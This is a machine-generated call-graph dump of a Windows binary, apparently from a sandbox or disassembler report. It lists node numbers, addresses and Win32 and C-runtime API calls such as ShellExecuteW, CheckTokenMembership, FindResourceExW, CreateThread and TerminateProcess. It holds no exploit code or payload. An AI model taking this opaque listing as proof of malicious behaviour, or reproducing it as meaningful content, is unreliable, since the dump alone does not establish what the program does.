98727 dd3462 98729 e13cec SetCurrentDirectoryW 98727->98729 98730 dd346a 98727->98730 98729->98730 98731 dd3475 98730->98731 98872 e31fb0 AllocateAndInitializeSid CheckTokenMembership FreeSid 98730->98872 98867 dd34d3 7 API calls 98731->98867 98734 e13d07 98734->98731 98737 e13d19 98734->98737 98739 dd5594 24 API calls 98737->98739 98738 dd347f 98741 dd396b 61 API calls 98738->98741 98745 dd3494 98738->98745 98740 e13d22 98739->98740 98742 ddb329 22 API calls 98740->98742 98741->98745 98743 e13d30 98742->98743 98746 e13d38 98743->98746 98747 e13d5f 98743->98747 98744 dd34af 98749 dd34b6 SetCurrentDirectoryW 98744->98749 98745->98744 98748 dd3907 Shell_NotifyIconW 98745->98748 98751 dd6b7c 22 API calls 98746->98751 98750 dd6b7c 22 API calls 98747->98750 98748->98744 98752 dd34ca 98749->98752 98753 e13d5b GetForegroundWindow ShellExecuteW 98750->98753 98754 e13d43 98751->98754 98752->98627 98757 e13d90 98753->98757 98873 dd7bb5 22 API calls 98754->98873 98757->98744 98758 e13d51 98759 dd6b7c 22 API calls 98758->98759 98759->98753 98760->98700 98764 e03319 LeaveCriticalSection 98761->98764 98763 df5311 98763->98702 98764->98763 98765->98707 98766->98709 98768 ddbf73 22 API calls 98767->98768 98769 dd4fef 98768->98769 98874 dd63d7 98769->98874 98771 dd500d 98772 ddbd57 22 API calls 98771->98772 98773 dd5021 98772->98773 98774 ddbed9 22 API calls 98773->98774 98775 dd502c 98774->98775 98888 dd893c 98775->98888 98778 ddb329 22 API calls 98779 dd5045 98778->98779 98780 ddbe2d 40 API calls 98779->98780 98781 dd5055 98780->98781 98782 ddb329 22 API calls 98781->98782 98783 dd507b 98782->98783 98784 ddbe2d 40 API calls 98783->98784 98785 dd508a 98784->98785 98786 ddbf73 22 API calls 98785->98786 98787 dd50a8 98786->98787 98891 dd51ca 98787->98891 98790 df4d98 _strftime 40 API calls 98791 dd50c2 98790->98791 98792 dd50cc 98791->98792 98793 e14b23 98791->98793 98795 df4d98 _strftime 40 API calls 98792->98795 98794 dd51ca 22 API calls 98793->98794 98796 e14b37 98794->98796 98797 dd50d7 98795->98797 98799 dd51ca 22 API calls 98796->98799 98797->98796 98798 dd50e1 98797->98798 98800 df4d98 _strftime 40 API calls 98798->98800 98801 e14b53 98799->98801 98802 dd50ec 98800->98802 98805 dd5594 24 API calls 98801->98805 98802->98801 98803 dd50f6 98802->98803 98804 df4d98 _strftime 40 API calls 98803->98804 98806 dd5101 98804->98806 98807 e14b76 98805->98807 98808 e14b9f 98806->98808 98809 dd510b 98806->98809 98810 dd51ca 22 API calls 98807->98810 98812 dd51ca 22 API calls 98808->98812 98811 dd512e 98809->98811 98814 ddbed9 22 API calls 98809->98814 98813 e14b82 98810->98813 98816 e14bda 98811->98816 98821 dd7e12 22 API calls 98811->98821 98815 e14bbd 98812->98815 98817 ddbed9 22 API calls 98813->98817 98819 dd5121 98814->98819 98820 ddbed9 22 API calls 98815->98820 98818 e14b90 98817->98818 98822 dd51ca 22 API calls 98818->98822 98823 dd51ca 22 API calls 98819->98823 98824 e14bcb 98820->98824 98825 dd513e 98821->98825 98822->98808 98823->98811 98826 dd51ca 22 API calls 98824->98826 98827 dd8470 22 API calls 98825->98827 98826->98816 98828 dd514c 98827->98828 98897 dd8a60 98828->98897 98830 dd5167 98831 dd893c 22 API calls 98830->98831 98832 dd8a60 22 API calls 98830->98832 98833 dd51ab 98830->98833 98834 dd51ca 22 API calls 98830->98834 98831->98830 98832->98830 98833->98716 98834->98830 98836 dd3aa2 __wsopen_s 98835->98836 98837 dd3abb 98836->98837 98839 e140da ___scrt_fastfail 98836->98839 98838 dd5851 23 API calls 98837->98838 98840 dd3ac4 98838->98840 98841 e140f6 GetOpenFileNameW 98839->98841 98913 dd3a57 98840->98913 98842 e14145 98841->98842 98844 dd8577 22 API calls 98842->98844 98846 e1415a 98844->98846 98846->98846 98848 dd3ad9 98931 dd62d5 98848->98931 99569 dd3624 7 API calls 98867->99569 98869 dd347a 98870 dd35b3 CreateWindowExW CreateWindowExW ShowWindow ShowWindow 98869->98870 98870->98738 98871->98727 98872->98734 98873->98758 98875 dd63e4 __wsopen_s 98874->98875 98876 dd8577 22 API calls 98875->98876 98877 dd6416 98875->98877 98876->98877 98887 dd644c 98877->98887 98908 dd655e 98877->98908 98879 ddb329 22 API calls 98880 dd6543 98879->98880 98882 dd6a7c 22 API calls 98880->98882 98881 ddb329 22 API calls 98881->98887 98884 dd654f 98882->98884 98883 dd655e 22 API calls 98883->98887 98884->98771 98885 dd6a7c 22 API calls 98885->98887 98886 dd651a 98886->98879 98886->98884 98887->98881 98887->98883 98887->98885 98887->98886 98889 df014b 22 API calls 98888->98889 98890 dd5038 98889->98890 98890->98778 98892 dd51d4 98891->98892 98893 dd51f2 98891->98893 98895 dd50b4 98892->98895 98896 ddbed9 22 API calls 98892->98896 98894 dd8577 22 API calls 98893->98894 98894->98895 98895->98790 98896->98895 98898 dd8a76 98897->98898 98899 e16737 98898->98899 98905 dd8a80 98898->98905 98911 deb7a2 22 API calls 98899->98911 98901 e16744 98912 ddb4c8 22 API calls 98901->98912 98903 e16762 98903->98903 98904 dd8b94 98906 df014b 22 API calls 98904->98906 98905->98901 98905->98904 98907 dd8b9b 98905->98907 98906->98907 98907->98830 98909 ddc2c9 22 API calls 98908->98909 98910 dd6569 98909->98910 98910->98877 98911->98901 98912->98903 98914 e122d0 __wsopen_s 98913->98914 98915 dd3a64 GetLongPathNameW 98914->98915 98916 dd8577 22 API calls 98915->98916 98917 dd3a8c 98916->98917 98918 dd53f2 98917->98918 98919 ddbf73 22 API calls 98918->98919 98920 dd5404 98919->98920 98921 dd5851 23 API calls 98920->98921 98922 dd540f 98921->98922 98923 dd541a 98922->98923 98924 e14d5b 98922->98924 98925 dd6a7c 22 API calls 98923->98925 98928 e14d7d 98924->98928 98967 dee36b 41 API calls 98924->98967 98927 dd5426 98925->98927 98961 dd1340 98927->98961 98930 dd5439 98930->98848 98968 dd6679 98931->98968 98934 e15336 99093 e436b8 98934->99093 98935 dd6679 94 API calls 98937 dd630e 98935->98937 98937->98934 98939 dd6316 98937->98939 98938 e15347 98940 e15368 98938->98940 98941 e1534b 98938->98941 98943 e15353 98939->98943 98944 dd6322 98939->98944 98942 df017b 22 API calls 98940->98942 99142 dd66e7 98941->99142 98960 e153ad 98942->98960 99148 e3e30e 82 API calls 98943->99148 98990 dd3b39 98944->98990 98949 e15361 98949->98940 98950 e1555e 98954 e15566 98950->98954 98951 dd66e7 68 API calls 98951->98954 98954->98951 99150 e3a215 82 API calls __wsopen_s 98954->99150 98957 ddb329 22 API calls 98957->98960 98960->98950 98960->98954 98960->98957 99119 e39ff8 98960->99119 99122 e41519 98960->99122 99128 ddbba9 98960->99128 99136 dd5d21 98960->99136 99149 e39f27 42 API calls _wcslen 98960->99149 98962 dd1352 98961->98962 98966 dd1371 __fread_nolock 98961->98966 98965 df017b 22 API calls 98962->98965 98963 df014b 22 API calls 98964 dd1388 98963->98964 98964->98930 98965->98966 98966->98963 98967->98924 99151 dd663e LoadLibraryA 98968->99151 98973 e15648 98976 dd66e7 68 API calls 98973->98976 98974 dd66a4 LoadLibraryExW 99159 dd6607 LoadLibraryA 98974->99159 98978 e1564f 98976->98978 98980 dd6607 3 API calls 98978->98980 98982 e15657 98980->98982 98981 dd66ce 98981->98982 98983 dd66da 98981->98983 99180 dd684a 98982->99180 98985 dd66e7 68 API calls 98983->98985 98987 dd62fa 98985->98987 98987->98934 98987->98935 98989 e1567e 98991 e1415f 98990->98991 98992 dd3b62 98990->98992 99423 e3a215 82 API calls __wsopen_s 98991->99423 98993 df017b 22 API calls 98992->98993 98995 dd3b86 98993->98995 98996 dd7aab CloseHandle 98995->98996 98997 dd3b94 98996->98997 98998 ddbf73 22 API calls 98997->98998 99001 dd3b9d 98998->99001 98999 dd3bfa 99002 ddbf73 22 API calls 98999->99002 99000 dd3bec 99000->98999 99003 e14179 99000->99003 99424 e3d5aa SetFilePointerEx SetFilePointerEx SetFilePointerEx WriteFile 99000->99424 99004 dd7aab CloseHandle 99001->99004 99005 dd3c06 99002->99005 99003->98999 99003->99000 99006 dd3ba6 99004->99006 99397 dd3ae9 99005->99397 99009 dd7aab CloseHandle 99006->99009 99012 dd3baf 99009->99012 99010 e141d5 99010->98999 99411 dd6fa2 SetFilePointerEx SetFilePointerEx SetFilePointerEx CreateFileW CreateFileW 99012->99411 99013 ddbf73 22 API calls 99015 dd3c1e 99013->99015 99017 dd5851 23 API calls 99015->99017 99016 dd3bc9 99018 e14591 99016->99018 99019 dd3bd1 99016->99019 99020 dd3c2c 99017->99020 99432 e3a215 82 API calls __wsopen_s 99018->99432 99412 dd6c5f 27 API calls messages 99019->99412 99402 dd3b1c 99020->99402 99023 e145a6 99023->99023 99026 dd3be3 99413 dd6c48 SetFilePointerEx SetFilePointerEx SetFilePointerEx 99026->99413 99030 dd3c6f 99031 ddbf73 22 API calls 99030->99031 99033 dd3c78 99031->99033 99032 e141eb 99034 dd7aab CloseHandle 99032->99034 99035 ddbf73 22 API calls 99033->99035 99036 e141f4 99034->99036 99038 dd3c81 99035->99038 99037 dd6679 94 API calls 99036->99037 99039 e1421c 99037->99039 99414 dd568e 22 API calls 99038->99414 99041 e14528 99039->99041 99044 e436b8 80 API calls 99039->99044 99429 e3a215 82 API calls __wsopen_s 99041->99429 99042 dd3c98 99415 dd7bb5 22 API calls 99042->99415 99046 e1423b 99044->99046 99048 dd66e7 68 API calls 99046->99048 99047 dd3ca9 SetCurrentDirectoryW 99049 e14249 99048->99049 99049->99041 99078 dd3e2a messages 99092 e14516 99092->99078 99094 e436d4 99093->99094 99095 dd6874 64 API calls 99094->99095 99096 e436e8 99095->99096 99441 e43827 99096->99441 99099 dd684a 40 API calls 99100 e43717 99099->99100 99101 dd684a 40 API calls 99100->99101 99102 e43727 99101->99102 99103 dd684a 40 API calls 99102->99103 99104 e43742 99103->99104 99105 dd684a 40 API calls 99104->99105 99106 e4375d 99105->99106 99107 dd6874 64 API calls 99106->99107 99108 e43774 99107->99108 99109 dfed7c ___std_exception_copy 21 API calls 99108->99109 99110 e4377b 99109->99110 99111 dfed7c ___std_exception_copy 21 API calls 99110->99111 99112 e43785 99111->99112 99113 dd684a 40 API calls 99112->99113 99114 e43799 99113->99114 99115 e432bd 27 API calls 99114->99115 99116 e437af 99115->99116 99117 e43700 99116->99117 99447 e42c8d 99116->99447 99117->98938 99120 df017b 22 API calls 99119->99120 99121 e3a028 __fread_nolock 99120->99121 99121->98960 99123 e41524 99122->99123 99124 df014b 22 API calls 99123->99124 99125 e4153b 99124->99125 99126 ddb329 22 API calls 99125->99126 99127 e41546 99126->99127 99127->98960 99129 ddbc33 99128->99129 99135 ddbbb9 __fread_nolock 99128->99135 99131 df017b 22 API calls 99129->99131 99130 df014b 22 API calls 99132 ddbbc0 99130->99132 99131->99135 99133 df014b 22 API calls 99132->99133 99134 ddbbde 99132->99134 99133->99134 99134->98960 99135->99130 99137 dd5d34 99136->99137 99141 dd5dd8 99136->99141 99138 df017b 22 API calls 99137->99138 99140 dd5d66 99137->99140 99138->99140 99139 df014b 22 API calls 99139->99140 99140->99139 99140->99141 99141->98960 99143 dd66f1 99142->99143 99145 dd66f8 99142->99145 99144 dfe9e8 67 API calls 99143->99144 99144->99145 99146 dd670f 99145->99146 99147 e156a4 FreeLibrary 99145->99147 99146->98943 99148->98949 99149->98960 99150->98954 99152 dd6674 99151->99152 99153 dd6656 GetProcAddress 99151->99153 99156 dfe95b 99152->99156 99154 dd6666 99153->99154 99154->99152 99155 dd666d FreeLibrary 99154->99155 99155->99152 99188 dfe89a 99156->99188 99158 dd6698 99158->98973 99158->98974 99160 dd661c GetProcAddress 99159->99160 99161 dd663b 99159->99161 99162 dd662c 99160->99162 99164 dd6720 99161->99164 99162->99161 99163 dd6634 FreeLibrary 99162->99163 99163->99161 99165 df017b 22 API calls 99164->99165 99166 dd6735 99165->99166 99167 dd423c 22 API calls 99166->99167 99169 dd6741 __fread_nolock 99167->99169 99168 e156c2 99246 e43a92 74 API calls 99168->99246 99169->99168 99173 dd677c 99169->99173 99245 e43a0e CreateStreamOnHGlobal FindResourceExW LoadResource SizeofResource LockResource 99169->99245 99172 dd684a 40 API calls 99172->99173 99173->99172 99174 e15706 99173->99174 99176 dd6810 messages 99173->99176 99177 dd6874 64 API calls 99173->99177 99240 dd6874 99174->99240 99176->98981 99177->99173 99179 dd684a 40 API calls 99179->99176 99181 dd685c 99180->99181 99184 e15760 99180->99184 99278 dfec34 99181->99278 99185 e432bd 99380 e4310d 99185->99380 99187 e432d8 99187->98989 99191 dfe8a6 ___BuildCatchObject 99188->99191 99189 dfe8b4 99213 dff649 20 API calls __dosmaperr 99189->99213 99191->99189 99193 dfe8e4 99191->99193 99192 dfe8b9 99214 e02b5c 26 API calls __cftof 99192->99214 99195 dfe8e9 99193->99195 99196 dfe8f6 99193->99196 99215 dff649 20 API calls __dosmaperr 99195->99215 99205 e083e1 99196->99205 99199 dfe8c4 __wsopen_s 99199->99158 99200 dfe8ff 99201 dfe905 99200->99201 99202 dfe912 99200->99202 99216 dff649 20 API calls __dosmaperr 99201->99216 99217 dfe944 LeaveCriticalSection __fread_nolock 99202->99217 99206 e083ed ___BuildCatchObject 99205->99206 99218 e032d1 EnterCriticalSection 99206->99218 99208 e083fb 99219 e0847b 99208->99219 99212 e0842c __wsopen_s 99212->99200 99213->99192 99214->99199 99215->99199 99216->99199 99217->99199 99218->99208 99226 e0849e 99219->99226 99220 e08408 99232 e08437 99220->99232 99221 e084f7 99222 e04ff0 FindHandlerForForeignException 20 API calls 99221->99222 99223 e08500 99222->99223 99225 e02d38 _free 20 API calls 99223->99225 99227 e08509 99225->99227 99226->99220 99226->99221 99235 df94fd EnterCriticalSection 99226->99235 99236 df9511 LeaveCriticalSection 99226->99236 99227->99220 99237 e03778 11 API calls 2 library calls 99227->99237 99229 e08528 99238 df94fd EnterCriticalSection 99229->99238 99239 e03319 LeaveCriticalSection 99232->99239 99234 e0843e 99234->99212 99235->99226 99236->99226 99237->99229 99238->99220 99239->99234 99241 e15780 99240->99241 99242 dd6883 99240->99242 99247 dff053 99242->99247 99245->99168 99246->99173 99250 dfee1a 99247->99250 99249 dd6891 99249->99179 99251 dfee26 ___BuildCatchObject 99250->99251 99252 dfee32 99251->99252 99254 dfee58 99251->99254 99275 dff649 20 API calls __dosmaperr 99252->99275 99263 df94fd EnterCriticalSection 99254->99263 99256 dfee37 99276 e02b5c 26 API calls __cftof 99256->99276 99257 dfee64 99264 dfef7a 99257->99264 99260 dfee78 99277 dfee97 LeaveCriticalSection __fread_nolock 99260->99277 99262 dfee42 __wsopen_s 99262->99249 99263->99257 99265 dfef9c 99264->99265 99266 dfef8c 99264->99266 99268 dfeea1 28 API calls 99265->99268 99267 dff649 __dosmaperr 20 API calls 99266->99267 99269 dfef91 99267->99269 99270 dfefbf 99268->99270 99269->99260 99271 dfdf7b 62 API calls 99270->99271 99274 dff03e 99270->99274 99273 dfefe6 99271->99273 99272 e097a4 __fread_nolock 28 API calls 99272->99274 99273->99272 99274->99260 99275->99256 99276->99262 99277->99262 99281 dfec51 99278->99281 99280 dd686d 99280->99185 99282 dfec5d ___BuildCatchObject 99281->99282 99283 dfec95 __wsopen_s 99282->99283 99284 dfec9d 99282->99284 99285 dfec70 ___scrt_fastfail 99282->99285 99283->99280 99294 df94fd EnterCriticalSection 99284->99294 99308 dff649 20 API calls __dosmaperr 99285->99308 99288 dfeca7 99295 dfea68 99288->99295 99290 dfec8a 99309 e02b5c 26 API calls __cftof 99290->99309 99294->99288 99299 dfea7a ___scrt_fastfail 99295->99299 99301 dfea97 99295->99301 99296 dfea87 99376 dff649 20 API calls __dosmaperr 99296->99376 99298 dfea8c 99377 e02b5c 26 API calls __cftof 99298->99377 99299->99296 99299->99301 99306 dfeada __fread_nolock 99299->99306 99310 dfecdc LeaveCriticalSection __fread_nolock 99301->99310 99302 dfebf6 ___scrt_fastfail 99379 dff649 20 API calls __dosmaperr 99302->99379 99304 dfdcc5 __fread_nolock 26 API calls 99304->99306 99306->99301 99306->99302 99306->99304 99311 e090c5 99306->99311 99378 dfd2e8 26 API calls 4 library calls 99306->99378 99308->99290 99309->99283 99310->99283 99312 e090d7 99311->99312 99313 e090ef 99311->99313 99314 dff636 __dosmaperr 20 API calls 99312->99314 99315 e09459 99313->99315 99318 e09134 99313->99318 99316 e090dc 99314->99316 99317 dff636 __dosmaperr 20 API calls 99315->99317 99319 dff649 __dosmaperr 20 API calls 99316->99319 99320 e0945e 99317->99320 99321 e0913f 99318->99321 99324 e090e4 99318->99324 99329 e0916f 99318->99329 99319->99324 99322 dff649 __dosmaperr 20 API calls 99320->99322 99323 dff636 __dosmaperr 20 API calls 99321->99323 99325 e0914c 99322->99325 99326 e09144 99323->99326 99324->99306 99327 e02b5c __cftof 26 API calls 99325->99327 99328 dff649 __dosmaperr 20 API calls 99326->99328 99327->99324 99328->99325 99330 e09188 99329->99330 99331 e091ca 99329->99331 99332 e091ae 99329->99332 99330->99332 99338 e09195 99330->99338 99335 e03b93 _strftime 21 API calls 99331->99335 99333 dff636 __dosmaperr 20 API calls 99332->99333 99334 e091b3 99333->99334 99336 dff649 __dosmaperr 20 API calls 99334->99336 99339 e091e1 99335->99339 99340 e091ba 99336->99340 99337 e0fc1b __fread_nolock 26 API calls 99341 e09333 99337->99341 99338->99337 99342 e02d38 _free 20 API calls 99339->99342 99343 e02b5c __cftof 26 API calls 99340->99343 99344 e093a9 99341->99344 99347 e0934c GetConsoleMode 99341->99347 99345 e091ea 99342->99345 99363 e091c5 __fread_nolock 99343->99363 99346 e093ad ReadFile 99344->99346 99348 e02d38 _free 20 API calls 99345->99348 99349 e09421 GetLastError 99346->99349 99350 e093c7 99346->99350 99347->99344 99351 e0935d 99347->99351 99352 e091f1 99348->99352 99353 e09385 99349->99353 99354 e0942e 99349->99354 99350->99349 99355 e0939e 99350->99355 99351->99346 99356 e09363 ReadConsoleW 99351->99356 99357 e09216 99352->99357 99358 e091fb 99352->99358 99353->99363 99367 dff613 __dosmaperr 20 API calls 99353->99367 99360 dff649 __dosmaperr 20 API calls 99354->99360 99355->99363 99370 e09403 99355->99370 99371 e093ec 99355->99371 99356->99355 99362 e0937f GetLastError 99356->99362 99361 e097a4 __fread_nolock 28 API calls 99357->99361 99359 dff649 __dosmaperr 20 API calls 99358->99359 99365 e09200 99359->99365 99366 e09433 99360->99366 99361->99338 99362->99353 99364 e02d38 _free 20 API calls 99363->99364 99364->99324 99368 dff636 __dosmaperr 20 API calls 99365->99368 99369 dff636 __dosmaperr 20 API calls 99366->99369 99367->99363 99368->99363 99369->99363 99370->99363 99373 e0941a 99370->99373 99372 e08de1 __fread_nolock 31 API calls 99371->99372 99372->99363 99374 e08c21 __fread_nolock 29 API calls 99373->99374 99375 e0941f 99374->99375 99375->99363 99376->99298 99377->99301 99378->99306 99379->99298 99383 dfe858 99380->99383 99382 e4311c 99382->99187 99386 dfe7d9 99383->99386 99385 dfe875 99385->99382 99387 dfe7fc 99386->99387 99388 dfe7e8 99386->99388 99393 dfe7f8 __alldvrm 99387->99393 99396 e036b2 11 API calls 2 library calls 99387->99396 99394 dff649 20 API calls __dosmaperr 99388->99394 99390 dfe7ed 99395 e02b5c 26 API calls __cftof 99390->99395 99393->99385 99394->99390 99395->99393 99396->99393 99398 e122d0 __wsopen_s 99397->99398 99399 dd3af6 GetCurrentDirectoryW 99398->99399 99400 dd8577 22 API calls 99399->99400 99401 dd3b19 99400->99401 99401->99013 99433 ddb120 99402->99433 99405 dd6d47 99406 dd6d5e 99405->99406 99407 dd6de5 SetFilePointerEx SetFilePointerEx 99406->99407 99408 e1592a SetFilePointerEx 99406->99408 99409 e15919 99406->99409 99410 dd3c5e 99406->99410 99407->99410 99409->99408 99410->99030 99410->99032 99411->99016 99412->99026 99413->99000 99414->99042 99415->99047 99423->99000 99424->99010 99429->99092 99432->99023 99434 ddb19b 99433->99434 99437 ddb12e 99433->99437 99440 def18b SetFilePointerEx 99434->99440 99436 dd3b2d 99436->99405 99437->99436 99438 ddb16c ReadFile 99437->99438 99438->99436 99439 ddb186 99438->99439 99439->99436 99439->99437 99440->99437 99446 e4383b 99441->99446 99442 e436fc 99442->99099 99442->99117 99443 dd684a 40 API calls 99443->99446 99444 e432bd 27 API calls 99444->99446 99445 dd6874 64 API calls 99445->99446 99446->99442 99446->99443 99446->99444 99446->99445 99448 e42ca6 99447->99448 99449 e42c98 99447->99449 99451 e42ceb 99448->99451 99452 dfe95b 29 API calls 99448->99452 99462 e42caf 99448->99462 99450 dfe95b 29 API calls 99449->99450 99450->99448 99476 e42f16 40 API calls __fread_nolock 99451->99476 99454 e42cd0 99452->99454 99454->99451 99456 e42cd9 99454->99456 99455 e42d2f 99457 e42d54 99455->99457 99458 e42d33 99455->99458 99456->99462 99484 dfe9e8 99456->99484 99477 e42b30 99457->99477 99461 e42d40 99458->99461 99464 dfe9e8 67 API calls 99458->99464 99461->99462 99467 dfe9e8 67 API calls 99461->99467 99462->99117 99464->99461 99467->99462 99476->99455 99478 dfed7c ___std_exception_copy 21 API calls 99477->99478 99479 e42b3e 99478->99479 99480 dfed7c ___std_exception_copy 21 API calls 99479->99480 99485 dfe9f4 ___BuildCatchObject 99484->99485 99486 dfea1a 99485->99486 99487 dfea05 99485->99487 99496 dfea15 __wsopen_s 99486->99496 99498 df94fd EnterCriticalSection 99486->99498 99515 dff649 20 API calls __dosmaperr 99487->99515 99490 dfea0a 99496->99462 99515->99490 99569->98869 99571 df4f4b FindHandlerForForeignException 99570->99571 99572 df4f64 99571->99572 99573 df4f52 99571->99573 99594 e032d1 EnterCriticalSection 99572->99594 99609 df5099 GetModuleHandleW 99573->99609 99576 df4f57 99576->99572 99610 df50dd GetModuleHandleExW 99576->99610 99577 df5009 99598 df5049 99577->99598 99580 df4fe0 99583 df4ff8 99580->99583 99589 e02791 _abort 5 API calls 99580->99589 99590 e02791 _abort 5 API calls 99583->99590 99584 df5026 99601 df5058 99584->99601 99585 df5052 99618 e120a9 5 API calls __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 99585->99618 99589->99583 99590->99577 99591 df4f6b 99591->99577 99591->99580 99595 e02518 99591->99595 99594->99591 99619 e02251 99595->99619 99638 e03319 LeaveCriticalSection 99598->99638 99600 df5022 99600->99584 99600->99585 99639 e0397f 99601->99639 99604 df5086 99606 df50dd _abort 8 API calls 99604->99606 99605 df5066 GetPEB 99605->99604 99607 df5076 GetCurrentProcess TerminateProcess 99605->99607 99608 df508e ExitProcess 99606->99608 99607->99604 99609->99576 99611 df512a 99610->99611 99612 df5107 GetProcAddress 99610->99612 99614 df5139 99611->99614 99615 df5130 FreeLibrary 99611->99615 99613 df511c 99612->99613 99613->99611 99616 df0dfc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 99614->99616 99615->99614 99617 df4f63 99616->99617 99617->99572 99622 e02200 99619->99622 99621 e02275 99621->99580 99623 e0220c ___BuildCatchObject 99622->99623 99630 e032d1 EnterCriticalSection 99623->99630 99625 e0221a 99631 e022a1 99625->99631 99629 e02238 __wsopen_s 99629->99621 99630->99625 99634 e022c9 99631->99634 99635 e022c1 99631->99635 99632 df0dfc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 99633 e02227 99632->99633 99637 e02245 LeaveCriticalSection _abort 99633->99637 99634->99635 99636 e02d38 _free 20 API calls 99634->99636 99635->99632 99636->99635 99637->99629 99638->99600 99640 e039a4 99639->99640 99641 e0399a 99639->99641 99646 e0334a 5 API calls 2 library calls 99640->99646 99643 df0dfc __ehhandler$?ConvertBSTRToString@_com_util@@YGPADPAG@Z 5 API calls 99641->99643 99645 df5062 99643->99645 99644 e039bb 99644->99641 99645->99604 99645->99605 99646->99644 99647 e2e737 99648 e2e6e4 99647->99648 99651 e3e83e SHGetFolderPathW 99648->99651 99652 dd8577 22 API calls 99651->99652 99653 e2e6ed 99652->99653 99654 dd1044 99659 dd2793 99654->99659 99656 dd104a 99694 df0413 29 API calls __onexit 99656->99694 99658 dd1054 99695 dd2a38 99659->99695 99663 dd280a 99664 ddbf73 22 API calls 99663->99664 99665 dd2814 99664->99665 99666 ddbf73 22 API calls 99665->99666 99667 dd281e 99666->99667 99668 ddbf73 22 API calls 99667->99668 99669 dd2828 99668->99669 99670 ddbf73 22 API calls 99669->99670 99671 dd2866 99670->99671 99672 ddbf73 22 API calls 99671->99672 99673 dd2932 99672->99673 99705 dd2dbc 99673->99705 99677 dd2964 99678 ddbf73 22 API calls 99677->99678 99679 dd296e 99678->99679 99680 de3160 9 API calls 99679->99680 99681 dd2999 99680->99681 99732 dd3166 99681->99732 99683 dd29b5 99684 dd29c5 GetStdHandle 99683->99684 99685 e139e7 99684->99685 99687 dd2a1a 99684->99687 99686 df014b 22 API calls 99685->99686 99685->99687 99688 e139f7 99686->99688 99689 dd2a27 OleInitialize 99687->99689 99739 e40ac4 InitializeCriticalSectionAndSpinCount 99688->99739 99689->99656 99691 e13a00 99742 e412eb 99691->99742 99694->99658 99745 dd2a91 99695->99745 99698 dd2a91 22 API calls 99699 dd2a70 99698->99699 99700 ddbf73 22 API calls 99699->99700 99701 dd2a7c 99700->99701 99702 dd8577 22 API calls 99701->99702 99703 dd27c9 99702->99703 99704 dd327e 6 API calls 99703->99704 99704->99663 99706 ddbf73 22 API calls 99705->99706 99707 dd2dcc 99706->99707 99708 ddbf73 22 API calls 99707->99708 99709 dd2dd4 99708->99709 99752 dd81d6 99709->99752 99712 dd81d6 22 API calls 99713 dd2de4 99712->99713 99714 ddbf73 22 API calls 99713->99714 99715 dd2def 99714->99715 99716 df014b 22 API calls 99715->99716 99717 dd293c 99716->99717 99718 dd3205 99717->99718 99719 dd3213 99718->99719 99720 ddbf73 22 API calls 99719->99720 99721 dd321e 99720->99721 99722 ddbf73 22 API calls 99721->99722 99723 dd3229 99722->99723 99724 ddbf73 22 API calls 99723->99724 99725 dd3234 99724->99725 99726 ddbf73 22 API calls 99725->99726 99727 dd323f 99726->99727 99728 dd81d6 22 API calls 99727->99728 99729 dd324a 99728->99729 99730 df014b 22 API calls 99729->99730 99731 dd3251 RegisterWindowMessageW 99730->99731 99731->99677 99733 dd3176 99732->99733 99734 e13c8f 99732->99734 99735 df014b 22 API calls 99733->99735 99755 e43c4e 22 API calls 99734->99755 99738 dd317e 99735->99738 99737 e13c9a 99738->99683 99756 e40d18 99739->99756 99743 e13a0c CloseHandle 99742->99743 99744 e412f9 CreateThread 99742->99744 99743->99687 99744->99743 99759 e412d1 99744->99759 99746 ddbf73 22 API calls 99745->99746 99747 dd2a9c 99746->99747 99748 ddbf73 22 API calls 99747->99748 99749 dd2aa4 99748->99749 99750 ddbf73 22 API calls 99749->99750 99751 dd2a66 99750->99751 99751->99698 99753 ddbf73 22 API calls 99752->99753 99754 dd2ddc 99753->99754 99754->99712 99755->99737 99757 e40d26 GetCurrentProcess GetCurrentProcess DuplicateHandle 99756->99757 99758 e40b03 InterlockedExchange 99756->99758 99757->99758 99758->99691 99760 e412e0 99759->99760 99761 e412db 99759->99761 99763 e41196 InterlockedExchange 99761->99763 99764 e411c1 99763->99764 99765 e411c7 99763->99765 99766 df017b 22 API calls 99764->99766 99767 df017b 22 API calls 99765->99767 99766->99765 99768 e411d9 ReadFile 99767->99768 99769 e411fc 99768->99769 99771 e412a8 99768->99771 99770 e41206 EnterCriticalSection 99769->99770 99769->99771 99775 e4122e __fread_nolock 99769->99775 99770->99769 99770->99775 99772 e412c1 InterlockedExchange 99771->99772 99772->99760 99773 e41279 LeaveCriticalSection ReadFile 99773->99769 99773->99771 99774 df017b 22 API calls 99774->99775 99775->99773 99775->99774 99776 e0947a 99777 e09487 99776->99777 99780 e0949f 99776->99780 99826 dff649 20 API calls __dosmaperr 99777->99826 99779 e0948c 99827 e02b5c 26 API calls __cftof 99779->99827 99782 e094fa 99780->99782 99783 e09497 99780->99783 99828 e10144 21 API calls 2 library calls 99780->99828 99785 dfdcc5 __fread_nolock 26 API calls 99782->99785 99786 e09512 99785->99786 99796 e08fb2 99786->99796 99788 e09519 99788->99783 99789 dfdcc5 __fread_nolock 26 API calls 99788->99789 99790 e09545 99789->99790 99790->99783 99791 dfdcc5 __fread_nolock 26 API calls 99790->99791 99792 e09553 99791->99792 99792->99783 99793 dfdcc5 __fread_nolock 26 API calls 99792->99793 99794 e09563 99793->99794 99795 dfdcc5 __fread_nolock 26 API calls 99794->99795 99795->99783 99797 e08fbe ___BuildCatchObject 99796->99797 99798 e08fc6 99797->99798 99799 e08fde 99797->99799 99830 dff636 20 API calls __dosmaperr 99798->99830 99801 e090a4 99799->99801 99806 e09017 99799->99806 99837 dff636 20 API calls __dosmaperr 99801->99837 99803 e08fcb 99831 dff649 20 API calls __dosmaperr 99803->99831 99804 e090a9 99838 dff649 20 API calls __dosmaperr 99804->99838 99808 e09026 99806->99808 99809 e0903b 99806->99809 99832 dff636 20 API calls __dosmaperr 99808->99832 99829 e054ba EnterCriticalSection 99809->99829 99811 e09033 99839 e02b5c 26 API calls __cftof 99811->99839 99813 e09041 99815 e09072 99813->99815 99816 e0905d 99813->99816 99814 e0902b 99833 dff649 20 API calls __dosmaperr 99814->99833 99821 e090c5 __fread_nolock 38 API calls 99815->99821 99834 dff649 20 API calls __dosmaperr 99816->99834 99818 e08fd3 __wsopen_s 99818->99788 99823 e0906d 99821->99823 99822 e09062 99835 dff636 20 API calls __dosmaperr 99822->99835 99836 e0909c LeaveCriticalSection __wsopen_s 99823->99836 99826->99779 99827->99783 99828->99782 